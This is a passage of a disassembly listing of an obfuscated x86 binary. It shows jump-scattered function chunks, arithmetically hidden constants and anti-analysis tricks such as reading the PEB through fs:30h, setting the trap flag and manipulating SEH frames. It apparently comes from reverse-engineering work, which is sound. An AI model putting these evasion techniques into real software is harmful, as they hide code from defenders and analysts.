sub_42798F-1CF8j popf push 27BFD696h loc_427AA2: ; CODE XREF: sub_42798F:loc_4286D9j lea eax, [ebp-25Ch] cmp dword ptr [eax], 4742444Fh jz loc_42595F jmp loc_42B543 ; END OF FUNCTION CHUNK FOR sub_42798F ; =============== S U B R O U T I N E ======================================= sub_427AB9 proc near ; DATA XREF: _0182ofla:00428001o ; FUNCTION CHUNK AT 00424096 SIZE 0000000D BYTES push 8348A74Ah pop edx add edx, 4AE7BBA2h push ecx pushf push 692737EFh pop ecx rol ecx, 10h jmp loc_424096 sub_427AB9 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_427AD5 proc near ; CODE XREF: sub_42430D:loc_42308Bj ; sub_42794C+6p ; FUNCTION CHUNK AT 00425FEF SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0042637B SIZE 0000000F BYTES jnb loc_425FEF push offset sub_42448C jmp nullsub_37 sub_427AD5 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42E97E loc_427AE5: ; CODE XREF: sub_42E97E+15j mov [ebx], eax pop ebx cmp dword ptr [ebp-4], 0 ; END OF FUNCTION CHUNK FOR sub_42E97E ; START OF FUNCTION CHUNK FOR sub_42798F loc_427AEC: ; CODE XREF: sub_42798F+613Fj jz loc_426069 push 0 call sub_423127 ; END OF FUNCTION CHUNK FOR sub_42798F ; START OF FUNCTION CHUNK FOR sub_423395 loc_427AF9: ; CODE XREF: sub_423395+A07Aj jmp loc_42432B ; END OF FUNCTION CHUNK FOR sub_423395 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42380D loc_427AFE: ; CODE XREF: sub_42380D+7006j xor eax, eax pop ecx retn ; END OF FUNCTION CHUNK FOR sub_42380D ; =============== S U B R O U T I N E ======================================= sub_427B02 proc near ; CODE XREF: sub_428F46:loc_4261B0p var_8 = dword ptr -8 arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 00424307 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 0042573A SIZE 00000013 BYTES ; FUNCTION CHUNK AT 00425E75 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004263DA SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042866D SIZE 00000009 BYTES ; FUNCTION CHUNK AT 0042EA80 SIZE 0000000E BYTES push dword ptr fs:0 mov fs:0, esp jmp loc_425E75 sub_427B02 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424E6E loc_427B13: ; CODE XREF: sub_424E6E+351j jz loc_427F9A jmp loc_428F3C ; END OF FUNCTION CHUNK FOR sub_424E6E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_423A2A loc_427B1E: ; CODE XREF: sub_423A2A+158Ej pushf push 16A59E2Ch pop ebx or ebx, 0BDD52D98h test ebx, 4000000h jmp loc_423515 ; END OF FUNCTION CHUNK FOR sub_423A2A ; --------------------------------------------------------------------------- dw 0CEC1h dd 3D8A0F12h, 0E9000057h, 531Ch ; --------------------------------------------------------------------------- loc_427B44: ; DATA XREF: sub_424707+2250o pop edx pop ebp jmp loc_428482 ; [00000005 BYTES: COLLAPSED FUNCTION start. PRESS KEYPAD "+" TO EXPAND] dd 64E44330h, 8D10274h, 9F3E9B1Ch, 355C3A39h, 8A8943BDh dd 7884606h, 75DB0147h, 831E8B07h, 0DB11FCEEh, 0EB72078Ah dd 1B8h, 75DB0100h, 831E8B07h, 0DB11FCEEh, 0DB01C011h dd 0E2751573h, 0EE831E8Bh ; --------------------------------------------------------------------------- cld ; START OF FUNCTION CHUNK FOR sub_42ECAD loc_427B95: ; CODE XREF: sub_42ECAD-538Cj jmp nullsub_194 ; END OF FUNCTION CHUNK FOR sub_42ECAD ; --------------------------------------------------------------------------- loc_427B9A: ; CODE XREF: _0182ofla:0042C853j or edx, 3F28237Ch ; =============== S U B R O U T I N E ======================================= sub_427BA0 proc near ; CODE XREF: sub_423A2A+4ADCp xchg ebx, [esp+0] pop ebx call sub_42B14D lea eax, [ebp-14h] call sub_42A5FC locret_427BB1: ; CODE XREF: sub_427797-511j retn sub_427BA0 endp ; sp-analysis failed ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_146. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42AC07 loc_427BB3: ; CODE XREF: sub_42AC07-647Bj jnz loc_42C5E8 loc_427BB9: ; CODE XREF: sub_42AC07:loc_423095j call sub_428D17 call sub_42B8A3 loc_427BC3: ; CODE XREF: sub_423A2A:loc_42A39Cj sub eax, 91A5D047h adc ebx, 0A32EE0C5h jmp loc_424FA8 ; END OF FUNCTION CHUNK FOR sub_42AC07 ; --------------------------------------------------------------------------- xchg edi, ebp jmp sub_42940E ; --------------------------------------------------------------------------- loc_427BDB: ; DATA XREF: _0182ofla:0042C21Ao xor edx, edx div ecx mov [ebp-18h], edx push 1A747C22h pop eax sub eax, 0D98208Ah xor eax, 0B88ADBD6h add eax, ebp jmp loc_42D309 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42940E loc_427BFB: ; CODE XREF: sub_42940E-2760j push edi add ecx, 249A9808h loc_427C02: ; CODE XREF: sub_42940E:loc_42CE32j call sub_428D17 mov edx, 0D504D785h call sub_42D71D push eax jmp loc_4243CE ; END OF FUNCTION CHUNK FOR sub_42940E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428EB9 loc_427C17: ; CODE XREF: sub_428EB9:loc_423E10j or [edx-8], eax loc_427C1A: ; CODE XREF: sub_4299D4+Fj ; sub_428EB9+B33j ... jnb loc_42D919 cmp dword ptr [ebp-14h], 4 jnz loc_428363 mov eax, [ebp+8] or dword ptr [eax-8], 4 call sub_42D553 loc_427C36: ; CODE XREF: sub_429E52-5021j mov [ecx], eax add ecx, 4 mov [ecx], eax add ecx, 4 mov [ecx], eax jmp loc_4250BE ; END OF FUNCTION CHUNK FOR sub_428EB9 ; =============== S U B R O U T I N E ======================================= sub_427C4D proc near ; CODE XREF: _0182ofla:00423FABj ; _0182ofla:0042DE0Bp mov [esp+0], edi pop edi xor eax, eax mov [ebp-8], eax sub_427C4D endp ; sp-analysis failed ; START OF FUNCTION CHUNK FOR sub_42CC59 loc_427C56: ; CODE XREF: sub_42CC59-348Dj ; sub_424184+8DC5j call sub_42CC59 loc_427C5B: ; CODE XREF: sub_42C1B2+278Fj push offset loc_4288A9 jmp loc_425D04 ; END OF FUNCTION CHUNK FOR sub_42CC59 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42B669 loc_427C65: ; CODE XREF: sub_42B669-71A1j push esi xor edi, 0A58E4162h jmp loc_428B8A ; END OF FUNCTION CHUNK FOR sub_42B669 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_425629 loc_427C71: ; CODE XREF: sub_425629:loc_42B565j rol edx, 1 test edx, 400000h jmp loc_42C59D ; END OF FUNCTION CHUNK FOR sub_425629 ; --------------------------------------------------------------------------- loc_427C7E: ; CODE XREF: _0182ofla:0042704Fj jb loc_426AB3 mov [ebp+0], edi loc_427C87: ; CODE XREF: _0182ofla:loc_423832j add edx, 0F6B13E4Ah call sub_4266D1 loc_427C92: ; CODE XREF: _0182ofla:0042B5F6j jmp loc_42DA76 ; --------------------------------------------------------------------------- loc_427C97: ; CODE XREF: _0182ofla:0042E8ABj js loc_423D92 ; =============== S U B R O U T I N E ======================================= sub_427C9D proc near ; CODE XREF: sub_424184+6p mov [esp+0], edx pop edx pop edx retn sub_427C9D endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42C379 loc_427CA3: ; CODE XREF: sub_42C379:loc_42D3CEj ; sub_42D897+8j rol eax, 7 push eax push ebx jmp loc_42B3FF ; END OF FUNCTION CHUNK FOR sub_42C379 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_33. PRESS KEYPAD "+" TO EXPAND] db 0E9h ; é db 1Dh db 64h ; d db 0 db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424072 loc_427CB3: ; CODE XREF: sub_424072+2B57j jmp loc_42EA3B ; END OF FUNCTION CHUNK FOR sub_424072 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4296F0 loc_427CB8: ; CODE XREF: sub_4296F0+6j ; sub_4296F0+19j push offset loc_428E87 jmp nullsub_55 ; END OF FUNCTION CHUNK FOR sub_4296F0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42E376 loc_427CC2: ; CODE XREF: sub_42E376:loc_42EA42j mov ebp, offset sub_427CD0 xchg ebp, [esp+0] retn ; END OF FUNCTION CHUNK FOR sub_42E376 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4253F4 loc_427CCB: ; CODE XREF: sub_4253F4-1D44j jmp loc_42E6E8 ; END OF FUNCTION CHUNK FOR sub_4253F4 ; =============== S U B R O U T I N E ======================================= sub_427CD0 proc near ; DATA XREF: sub_42E376:loc_427CC2o ; FUNCTION CHUNK AT 004272B9 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042AEDC SIZE 00000010 BYTES ; FUNCTION CHUNK AT 0042CB80 SIZE 00000005 BYTES push 32199041h pop eax rol eax, 1Bh jmp loc_42CB80 sub_427CD0 endp ; =============== S U B R O U T I N E ======================================= sub_427CDE proc near ; CODE XREF: sub_425DA5+11p ; FUNCTION CHUNK AT 00423583 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 004272A6 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042EC76 SIZE 0000000B BYTES xchg ecx, [esp+0] mov ecx, [esp+0] mov esp, ebp pop ebp mov eax, ds:dword_424C04 or eax, eax jnz loc_423583 loc_427CF5: ; CODE XREF: _0182ofla:004234F6j jmp loc_4272A6 sub_427CDE endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42A915 loc_427CFA: ; CODE XREF: sub_42A915:loc_42A926j jnz loc_42CC1F jmp loc_429FA8 ; END OF FUNCTION CHUNK FOR sub_42A915 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42461C loc_427D05: ; CODE XREF: sub_42461C:loc_42B4F4j jz loc_4251C6 jmp loc_423D92 ; END OF FUNCTION CHUNK FOR sub_42461C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427ED1 loc_427D10: ; CODE XREF: sub_427ED1+83Cj mov [esi], ecx jmp loc_42D5E1 ; END OF FUNCTION CHUNK FOR sub_427ED1 ; =============== S U B R O U T I N E ======================================= sub_427D17 proc near ; DATA XREF: sub_428D2D+1Eo ror eax, 0Ah mov ds:dword_42D230, eax retn sub_427D17 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42D056 loc_427D21: ; CODE XREF: sub_42D056-49DAj jmp loc_426678 ; END OF FUNCTION CHUNK FOR sub_42D056 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428D2D loc_427D26: ; CODE XREF: sub_428D2D+8j rol eax, 0Ah push eax locret_427D2A: ; CODE XREF: _0182ofla:loc_4256A0j retn ; END OF FUNCTION CHUNK FOR sub_428D2D ; =============== S U B R O U T I N E ======================================= sub_427D2B proc near ; CODE XREF: sub_427EAF+Ap ; _0182ofla:0042B4E3j xchg eax, [esp+0] pop eax inc dword ptr [ebp-0Ch] push offset loc_42DF09 jmp loc_42D1DB sub_427D2B endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42938A loc_427D3C: ; CODE XREF: sub_42938A:loc_4242D3j jnz loc_426BFD jmp loc_427123 ; END OF FUNCTION CHUNK FOR sub_42938A ; =============== S U B R O U T I N E ======================================= sub_427D47 proc near ; CODE XREF: _0182ofla:00424702j ; sub_428781+Dp xchg edx, [esp+0] pop edx mov [ebp-24h], eax mov dword ptr [ebp-18h], 0 sub_427D47 endp ; sp-analysis failed ; START OF FUNCTION CHUNK FOR sub_428A39 loc_427D55: ; CODE XREF: sub_428A39-4CDAj call sub_42768C jb loc_42ECD1 jmp loc_424612 ; END OF FUNCTION CHUNK FOR sub_428A39 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_423395 loc_427D65: ; CODE XREF: sub_423395+90C1j jb loc_42ABDF loc_427D6B: ; CODE XREF: sub_423395:loc_42D409j push 0 push offset loc_42DB03 jmp loc_427DF5 ; END OF FUNCTION CHUNK FOR sub_423395 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42719D loc_427D77: ; CODE XREF: sub_42719D:loc_425D46j mov dword ptr [ecx], 10001h call sub_423726 loc_427D82: ; CODE XREF: _0182ofla:00423C93j push eax push esi call sub_42E1C8 ; END OF FUNCTION CHUNK FOR sub_42719D ; =============== S U B R O U T I N E ======================================= sub_427D89 proc near ; CODE XREF: sub_42310C+B96Fp mov [esp+0], eax push esi push 20179DB9h pop esi sub esi, 32D256A4h add esi, 12FD4C51h push offset sub_42D03E jmp nullsub_38 sub_427D89 endp ; =============== S U B R O U T I N E ======================================= sub_427DA9 proc near ; DATA XREF: sub_42A181:loc_429930o ; FUNCTION CHUNK AT 00423B7B SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0042848C SIZE 00000013 BYTES ; FUNCTION CHUNK AT 00428B74 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042942C SIZE 0000000C BYTES ; FUNCTION CHUNK AT 004295FF SIZE 0000001B BYTES ; FUNCTION CHUNK AT 004298B7 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042A326 SIZE 0000001C BYTES ; FUNCTION CHUNK AT 0042B5BA SIZE 00000007 BYTES ; FUNCTION CHUNK AT 0042C656 SIZE 00000012 BYTES mov eax, large fs:30h push ecx push 6361AC3h pop ecx and ecx, 0ADE99D5Fh add ecx, 0FBDFE7DDh add eax, ecx pop ecx jmp loc_42C656 sub_427DA9 endp ; sp-analysis failed ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_116. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42CA29 loc_427DCC: ; CODE XREF: sub_42CA29-26D9j jmp loc_42A1BA ; END OF FUNCTION CHUNK FOR sub_42CA29 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4231F3 loc_427DD1: ; CODE XREF: sub_4231F3+1752j mov esi, 39012B30h sub eax, ebp loc_427DD8: ; DATA XREF: sub_428EB9+5702o pop dword ptr fs:0 xchg eax, [esp-4+arg_0] pop eax push 262467F8h mov [esp-4+arg_0], edi push 637B708Ch jmp loc_426DDC ; END OF FUNCTION CHUNK FOR sub_4231F3 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_80. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_423395 loc_427DF5: ; CODE XREF: sub_423395+49DDj jmp nullsub_139 ; END OF FUNCTION CHUNK FOR sub_423395 ; =============== S U B R O U T I N E ======================================= sub_427DFA proc near ; DATA XREF: sub_426BCE+2o ; FUNCTION CHUNK AT 00423BA4 SIZE 0000001D BYTES ; FUNCTION CHUNK AT 00424C7A SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00426621 SIZE 0000000B BYTES push 8062C6Dh pop edx rol edx, 11h xor edx, 85B94602h jmp loc_423BA4 sub_427DFA endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42660C loc_427E0E: ; CODE XREF: sub_42660C-3600j jge loc_42543A push edx shr esi, 14h not esi loc_427E1A: ; CODE XREF: sub_4255E9:loc_42D5D6j call sub_428D17 jmp loc_427378 ; END OF FUNCTION CHUNK FOR sub_42660C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_429A64 loc_427E24: ; CODE XREF: sub_4258F5+347j ; sub_429A64+Ej xor eax, eax push offset loc_426DA3 jmp loc_42B3BD ; END OF FUNCTION CHUNK FOR sub_429A64 ; --------------------------------------------------------------------------- loc_427E30: ; CODE XREF: _0182ofla:0042B513j xchg ebx, [edi] ; =============== S U B R O U T I N E ======================================= sub_427E32 proc near ; CODE XREF: sub_428D63:loc_42673Dp ; FUNCTION CHUNK AT 0042B2AA SIZE 00000005 BYTES xchg esi, [esp+0] pop esi shl al, cl push offset loc_42B708 jmp loc_42B2AA sub_427E32 endp ; =============== S U B R O U T I N E ======================================= sub_427E42 proc near ; DATA XREF: sub_42A4C6+2B02o ; FUNCTION CHUNK AT 00423C20 SIZE 00000016 BYTES ; FUNCTION CHUNK AT 00425A32 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042970E SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0042B5FB SIZE 00000020 BYTES xchg edi, [esp+0] pushf push 9358A972h pop eax sub eax, 0B2982085h jmp loc_42970E sub_427E42 endp ; sp-analysis failed ; --------------------------------------------------------------------------- add edx, edi mov ecx, esi jmp sub_42E841 ; --------------------------------------------------------------------------- push 4FB34FD9h jmp sub_42A260 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42C906 loc_427E6A: ; CODE XREF: sub_42C906+2400j adc ebx, esi pop edi loc_427E6D: ; CODE XREF: sub_42C906:loc_423DC6j mov eax, 62h call sub_4265C0 push offset loc_427FB4 jmp nullsub_104 ; END OF FUNCTION CHUNK FOR sub_42C906 ; =============== S U B R O U T I N E ======================================= sub_427E81 proc near ; CODE XREF: sub_423D2D:loc_4261F2p ; _0182ofla:0042B208j ; FUNCTION CHUNK AT 0042B48B SIZE 00000005 BYTES mov [esp+0], eax pop eax pop edi push offset loc_427698 jmp loc_42B48B sub_427E81 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_427E90 proc near ; DATA XREF: sub_42E7E3+Do ; FUNCTION CHUNK AT 0042A1A6 SIZE 00000005 BYTES xchg eax, ecx push 796190CAh pop eax sub eax, 3D3627BDh loc_427E9E: ; CODE XREF: _0182ofla:0042A974j xor eax, 8FB33E01h jmp loc_42A1A6 sub_427E90 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42E585 loc_427EA9: ; CODE XREF: sub_42E585-AF25j popf loc_427EAA: ; CODE XREF: sub_42798F+1688j jmp loc_42EBD0 ; END OF FUNCTION CHUNK FOR sub_42E585 ; =============== S U B R O U T I N E ======================================= sub_427EAF proc near ; CODE XREF: sub_427967:loc_423D78p ; _0182ofla:0042962Dj xchg edx, [esp+0] pop edx add eax, 28h mov [ebp-4], eax call sub_427D2B sub_427EAF endp ; sp-analysis failed ; START OF FUNCTION CHUNK FOR sub_42DBF0 loc_427EBE: ; CODE XREF: sub_42DBF0:loc_42680Dj mov eax, ds:dword_427A20 mov eax, [eax] mov ds:dword_427A24, eax xor eax, eax jmp loc_428D9D ; END OF FUNCTION CHUNK FOR sub_42DBF0 ; =============== S U B R O U T I N E ======================================= sub_427ED1 proc near ; DATA XREF: _0182ofla:004245C0o ; FUNCTION CHUNK AT 00424503 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00424E99 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004262F7 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00427D10 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 00428707 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00429A15 SIZE 0000001B BYTES ; FUNCTION CHUNK AT 0042D5E1 SIZE 0000000E BYTES lea eax, [ebp-2C8h] push eax push 4C91A0h push 59DBEBD2h pop eax add eax, 1A34FE6Dh add eax, ebp jmp loc_424503 sub_427ED1 endp ; =============== S U B R O U T I N E ======================================= sub_427EF0 proc near ; CODE XREF: sub_42A642-48C5p mov [esp+0], eax retn sub_427EF0 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_429C68 loc_427EF4: ; CODE XREF: sub_429C68+4AB4j jmp loc_42E463 ; END OF FUNCTION CHUNK FOR sub_429C68 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_425BF8 loc_427EF9: ; CODE XREF: sub_425BF8+7037j jmp loc_429F11 ; END OF FUNCTION CHUNK FOR sub_425BF8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424A70 loc_427EFE: ; CODE XREF: sub_424A70+5F20j jmp nullsub_180 ; END OF FUNCTION CHUNK FOR sub_424A70 ; =============== S U B R O U T I N E ======================================= sub_427F03 proc near ; CODE XREF: sub_42D888-9719p ; FUNCTION CHUNK AT 00424832 SIZE 00000005 BYTES call sub_4255E9 loc_427F08: ; CODE XREF: sub_42A241-7072j xchg edx, [esp+0] jmp loc_424832 sub_427F03 endp ; --------------------------------------------------------------------------- loc_427F10: ; CODE XREF: _0182ofla:004230EDj ; _0182ofla:0042DE05j mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426319 loc_427F14: ; CODE XREF: sub_426319+14j jmp loc_4280CA ; END OF FUNCTION CHUNK FOR sub_426319 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42E218 loc_427F19: ; CODE XREF: sub_42E218-9468j jmp loc_42A897 ; END OF FUNCTION CHUNK FOR sub_42E218 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_429071 loc_427F1E: ; CODE XREF: sub_429071+Bj push eax push 1D402E9Dh mov eax, offset loc_4232FC xchg eax, [esp+8+var_8] retn ; END OF FUNCTION CHUNK FOR sub_429071 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_423704 loc_427F2D: ; CODE XREF: sub_423704+Dj jmp loc_42EDAF ; END OF FUNCTION CHUNK FOR sub_423704 ; =============== S U B R O U T I N E ======================================= sub_427F32 proc near ; CODE XREF: sub_425C9C+10j ; FUNCTION CHUNK AT 00428383 SIZE 0000000B BYTES push ebx pushf push 744CD3B3h pop ebx and ebx, 1301BE3Ch sub ebx, 0F288394Ch add ebx, 0E287A71Ch jmp loc_428383 sub_427F32 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426020 loc_427F51: ; CODE XREF: sub_426020+6EE3j shr eax, 2 and ecx, edx sbb edi, 6A8F33F1h jmp loc_42AEFC ; END OF FUNCTION CHUNK FOR sub_426020 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_130. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- xor ebx, esi jmp sub_4281B9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42380D loc_427F69: ; CODE XREF: sub_42380D:loc_42D204j mov [ecx], eax add ecx, 4 mov [ecx], eax add ecx, 4 mov [ecx], eax add ecx, 4 mov [ecx], eax add ecx, 4 jmp loc_4291B5 ; END OF FUNCTION CHUNK FOR sub_42380D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428599 loc_427F8E: ; CODE XREF: sub_428599+Aj push offset sub_424157 jmp nullsub_215 ; END OF FUNCTION CHUNK FOR sub_428599 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424E6E loc_427F98: ; CODE XREF: sub_424E6E-1552j and eax, ebp loc_427F9A: ; CODE XREF: sub_424E6E:loc_427B13j call sub_427797 loc_427F9F: ; CODE XREF: sub_427E90:loc_42A1A6j add eax, 4CAA89FCh xchg eax, [esp-4+arg_0] jmp sub_4295D6 ; END OF FUNCTION CHUNK FOR sub_424E6E ; --------------------------------------------------------------------------- byte_427FAD db 67h, 0CCh, 0E9h ; CODE XREF: sub_42839E+Cj dd 0FFFFD685h ; --------------------------------------------------------------------------- loc_427FB4: ; DATA XREF: sub_42C906-4A8Fo jmp loc_424F1A ; --------------------------------------------------------------------------- jmp loc_42B855 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427445 loc_427FBE: ; CODE XREF: sub_427445:loc_42B470j call nullsub_1 mov eax, large fs:30h add eax, 0BE6620Fh call sub_429DCF loc_427FD5: ; CODE XREF: sub_42DD86-49CEj jmp loc_426B1E ; END OF FUNCTION CHUNK FOR sub_427445 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42E9A5 loc_427FDA: ; CODE XREF: sub_42E9A5-72ADj jnz loc_423F5D push eax mov ebx, [edi] loc_427FE3: ; CODE XREF: sub_42E9A5:loc_42EB41j rol ebx, 0Ch add ebx, 5E42EED8h jmp loc_427198 ; END OF FUNCTION CHUNK FOR sub_42E9A5 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_204. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_427FF2: ; DATA XREF: sub_426CF9+9o rol edx, 5 add edx, esp push offset loc_4233CF jmp loc_42D209 ; --------------------------------------------------------------------------- push offset sub_427AB9 jmp locret_42B2A9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_423A2A loc_42800B: ; CODE XREF: sub_423A2A+3705j call sub_42C2CC test al, al jz loc_42CB26 jmp loc_42B495 ; END OF FUNCTION CHUNK FOR sub_423A2A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42DDA6 loc_42801D: ; CODE XREF: sub_42DDA6:loc_426126j mov dword ptr [edx], 1000h jmp loc_42A23C ; END OF FUNCTION CHUNK FOR sub_42DDA6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42E282 loc_428028: ; CODE XREF: sub_42E282j push 7180082Dh pop eax add eax, 8EC2C9C7h push ecx pushf push 3AC8F41Dh pop ecx jmp loc_427786 ; END OF FUNCTION CHUNK FOR sub_42E282 ; =============== S U B R O U T I N E ======================================= sub_428041 proc near ; CODE XREF: sub_4267F8-3171p var_10 = dword ptr -10h ; FUNCTION CHUNK AT 004231B8 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00423CB8 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00424013 SIZE 00000017 BYTES ; FUNCTION CHUNK AT 00424CBD SIZE 0000001B BYTES ; FUNCTION CHUNK AT 00425953 SIZE 00000027 BYTES ; FUNCTION CHUNK AT 00425B96 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 00425E48 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00429049 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 00429D40 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042AB1E SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0042B063 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0042D119 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042DC71 SIZE 0000001F BYTES mov [esp+0], ebx jns loc_424CBD add edx, eax push ebx pushf push 990B334Eh pop ebx jmp loc_425B96 sub_428041 endp ; --------------------------------------------------------------------------- loc_428059: ; CODE XREF: _0182ofla:loc_428CDBj jl loc_428322 ; =============== S U B R O U T I N E ======================================= sub_42805F proc near ; CODE XREF: sub_42C33B+1p mov [esp+0], edi pop edi pop ebx retn sub_42805F endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42C58A loc_428065: ; CODE XREF: sub_42C58A+Ej jmp loc_424F1A ; END OF FUNCTION CHUNK FOR sub_42C58A ; --------------------------------------------------------------------------- loc_42806A: ; CODE XREF: _0182ofla:00424523j jmp loc_42B3D8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_423A2A loc_42806F: ; CODE XREF: sub_423A2A+10E1j ; sub_423A2A+3574j mov eax, ds:dword_427A24 jmp loc_42CCBD ; END OF FUNCTION CHUNK FOR sub_423A2A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42A420 loc_428079: ; CODE XREF: sub_42A420:loc_427781j mov ds:dword_42E8C0, eax retn ; END OF FUNCTION CHUNK FOR sub_42A420 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4276E3 loc_428080: ; CODE XREF: sub_4276E3-2E7Dj jmp sub_423FCD ; END OF FUNCTION CHUNK FOR sub_4276E3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42A420 loc_428085: ; CODE XREF: sub_42A420:loc_424202j rol eax, 5 push eax retn ; END OF FUNCTION CHUNK FOR sub_42A420 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428729 loc_42808A: ; CODE XREF: sub_428729+DB8j mov eax, [ebp-8] push offset loc_42EB2E jmp nullsub_120 ; END OF FUNCTION CHUNK FOR sub_428729 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4291BA loc_428097: ; CODE XREF: sub_4291BA:loc_42CF82j xchg eax, [esp+0] or eax, 100h xchg eax, [esp+0] popf nop jmp loc_424D97 ; END OF FUNCTION CHUNK FOR sub_4291BA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428245 loc_4280AA: ; CODE XREF: sub_428245+1Bj add eax, 206AA45Ah push eax call sub_426E6A ; END OF FUNCTION CHUNK FOR sub_428245 ; =============== S U B R O U T I N E ======================================= sub_4280B6 proc near ; CODE XREF: sub_425629+Bp ; _0182ofla:004274ABj xchg eax, [esp+0] pop eax lea eax, loc_42707C push offset loc_427072 jmp nullsub_39 sub_4280B6 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426319 loc_4280CA: ; CODE XREF: sub_426319:loc_427F14j or ebx, ecx and eax, 6816E9B3h xor eax, ebx add edx, eax xor eax, 0D4FBA740h jmp loc_4265BB ; END OF FUNCTION 